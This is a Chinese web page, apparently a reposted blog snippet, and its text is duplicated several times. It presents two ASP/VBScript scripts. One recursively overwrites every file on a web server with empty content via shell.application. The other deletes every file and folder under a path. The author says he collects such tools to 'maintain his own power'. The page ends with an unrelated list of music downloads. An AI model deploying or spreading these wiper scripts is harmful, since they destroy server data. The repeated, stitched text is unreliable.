DDR爱好者之家 Design By 杰米
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹
Function FilesTree(sPath)
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
oFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'递归
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("F:\deltest\deltest") '遍历
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
Call listfile(server.mappath("./"))
response.Write"处理完毕"
Else
response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If
Function listfile(fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace(fpath)
Set f = server.CreateObject("adodb.stream")
f.Type = 1
f.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile(s.Path)
Else
f.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹
Function FilesTree(sPath)
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
oFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
oSubFolder.Delete
'FilesTree(oSubFolder.Path)'递归
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("F:\deltest\deltest") '遍历
DDR爱好者之家 Design By 杰米
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
DDR爱好者之家 Design By 杰米
暂无评论...
更新日志
2024年05月17日
2024年05月17日
- 刘欢.2004-经典20年珍藏锦集【新索】【WAV+CUE】
- 中唱唱片群星《好歌珍藏-游子情深》2CDWAV
- CD圣经上榜天碟1995-乌仁娜-《蒙古草原之歌》[WAV+CUE].
- 【电影原声】武满彻《旭日东升》1993[WAV+CUE整轨]
- Taylor Swift《THE TORTURED POETS DEPARTMENT》[320K/MP3][148.54MB]
- Taylor Swift《THE TORTURED POETS DEPARTMENT》[FLAC/分轨][405.72MB]
- Joyce Jonathan《法式松弛感 漫步香榭丽舍》[320K/MP3][80.8MB]
- 女神异闻录5佐仓双叶coop攻略 p5r佐仓双叶对话选项攻略
- 【民谣】张智《尼勒克小镇》[FLAC]
- 林一峰2018-TRAVELOGUE4ESCAPE[香港首版][WAV+CUE]
- MollyLewis《OnTheLips》(2024)[Hi-Res96kHz_24bitFLAC]
- Joyce Jonathan《法式松弛感 漫步香榭丽舍》[FLAC/分轨][230.77MB]
- 群星《影视剧 春色寄情人 原声带》[320K/MP3][394.18MB]
- 吴牧野《强者独白II 李斯特巅峰作品选》[320K/MP3][216.01MB]
- 女神异闻录5御船千早coop攻略 p5r御船千早对话选项攻略